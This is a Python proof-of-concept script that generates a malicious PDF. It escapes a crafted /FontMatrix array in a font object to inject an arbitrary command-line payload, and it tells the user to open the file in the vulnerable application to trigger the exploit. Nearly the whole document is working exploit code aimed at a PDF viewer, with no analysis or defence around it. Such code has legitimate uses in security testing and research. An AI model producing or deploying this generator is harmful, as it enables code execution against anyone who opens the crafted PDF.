```python
#!/usr/bin/env python3

import sys

def generate_payload(payload):
    backslash_char = "\\"
    fmt_payload = payload.replace('(', '\\(').replace(')', '\\)')
    font_matrix = f"/FontMatrix [0.1 0 0 0.1 0 (1{backslash_char});\n" + f"{fmt_payload}" + "\n//)]"
    return f"""
%PDF-1.4
%DUMMY
8 0 obj
<<
/PatternType 2
/Shading<<
  /Function<<
    /Domain[0 1]
    /C0[0 0 1]
    /C1[1 0.6 0]
    /N 1
    /FunctionType 2
  >>
  /ShadingType 2
  /Coords[46 400 537 400]
  /Extend[false false]
  /ColorSpace/DeviceRGB
>>
/Type/Pattern
>>
endobj
5 0 obj
<<
/Widths[573 0 582 0 548 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 573 0 573 0 341]
/Type/Font
/BaseFont/PAXEKO+SourceSansPro-Bold
/LastChar 102
/Encoding/WinAnsiEncoding
{font_matrix}
/Subtype/Type1
/FirstChar 65
/FontDescriptor 9 0 R
>>
endobj
2 0 obj
<<
/Kids[3 0 R]
/Type/Pages
/Count 1
>>
endobj
9 0 obj
<<
/Type/FontDescriptor
/ItalicAngle 0
/Ascent 751
/FontBBox[-6 -12 579 713]
/FontName/PAXEKO+SourceSansPro-Bold
/StemV 100
/CapHeight 713
/Flags 32
/FontFile3 10 0 R
/Descent -173
/MissingWidth 250
>>
endobj
6 0 obj
<<
```

```
/Length 128
>>
stream
47 379 489 230 re S
/Pattern cs
BT
  50 500 Td
  117 TL
  /F1 150 Tf
  /P1 scn
  (AbCdEf) Tj
  /P2 scn
  (AbCdEf) '
ET
endstream
endobj
3 0 obj
<<
/Type/Page
/Resources 4 0 R
/Contents 6 0 R
/Parent 2 0 R
/MediaBox[0 0 595.2756 841.8898]
>>
endobj
10 0 obj
<<
/Length 800
/Subtype/Type2
>>
stream

endstream
endobj
7 0 obj
<<
/PatternType 1
/Matrix[1 0 0 1 50 0]
/Length 58
/TilingType 1
/BBox[0 0 16 16]
/YStep 16
/PaintType 1
/Resources<<
>>
/XStep 16
>>
stream
0.65 g
0 0 16 16 re f
0.15 g
0 0 8 8 re f
8 8 8 8 re f
endstream
endobj
4 0 obj
<<
/Pattern<<
  /P1 7 0 R
  /P2 8 0 R
>>
/Font<<
  /F1 5 0 R
>>
>>
endobj
1 0 obj
```

```
<<
/Pages 2 0 R
/Type/Catalog
/OpenAction[3 0 R /Fit]
>>
endobj

xref
0 11
0000000000 65535 f
0000002260 00000 n
0000000522 00000 n
0000000973 00000 n
0000002178 00000 n
0000000266 00000 n
0000000794 00000 n
0000001953 00000 n
0000000015 00000 n
0000000577 00000 n
0000001085 00000 n
trailer
<<
/ID[(DUMMY) (DUMMY)]
/Root 1 0 R
/Size 11
>>
startxref
2333
%%EOF
"""


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <payload>")
        sys.exit(1)
    print("[+] Created malicious PDF file: poc.pdf")
    print("[+] Open the file with the vulnerable application to trigger the exploit.")

    payload = generate_payload(
        sys.argv[1])
    with open("poc.pdf", "w") as f:
        f.write(payload)

    sys.exit(0)
```